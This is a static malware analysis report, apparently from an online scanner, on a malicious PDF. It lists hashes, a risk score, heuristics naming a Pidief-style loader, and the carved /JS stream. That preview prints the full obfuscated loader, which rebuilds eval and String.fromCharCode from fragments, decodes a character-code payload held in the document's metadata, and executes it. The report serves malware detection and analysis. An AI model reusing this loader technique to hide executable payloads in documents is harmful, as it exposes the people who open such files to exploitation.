Malicious PDF — malware analysis report

Static analysis result for SHA-256 e5d88bc9561e7a5c…

MALICIOUS

PDF

44.9 KB Authoring application: substr First seen: 2026-05-08
MD5: 71dfbd12349af7ccd2bd030816623890 SHA-1: 3286930abb61b5a1166da2ab0fb27a4781174df3 SHA-256: e5d88bc9561e7a5c1a8ef3da580cd2e2402afc24e181846526fab5bea43b5aac
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB10C 414 bytes
SHA-256: 0f51a90111e42f5158843097c9a07610c208deb1fb1a18661a02fa7b48cf4ad7
Preview script
First 1,000 lines of the extracted script
dqbs='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
fmqm=e('ti'+'tle');
s=fmqm.substr(t.length + 8,3)+'str';
q=fmqm[s](1,t.length + 7);
rluot=e(v[0].toUpperCase()+'tring.fro'+q);
q=fmqm[s](t.length+12)[subject]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	dfx = parseInt(q[i]) + parseInt(q[i+1]);
	dqbs += rluot(dfx);
}
e(dqbs);

Open this report in the interactive analyzer, or submit your own file for analysis.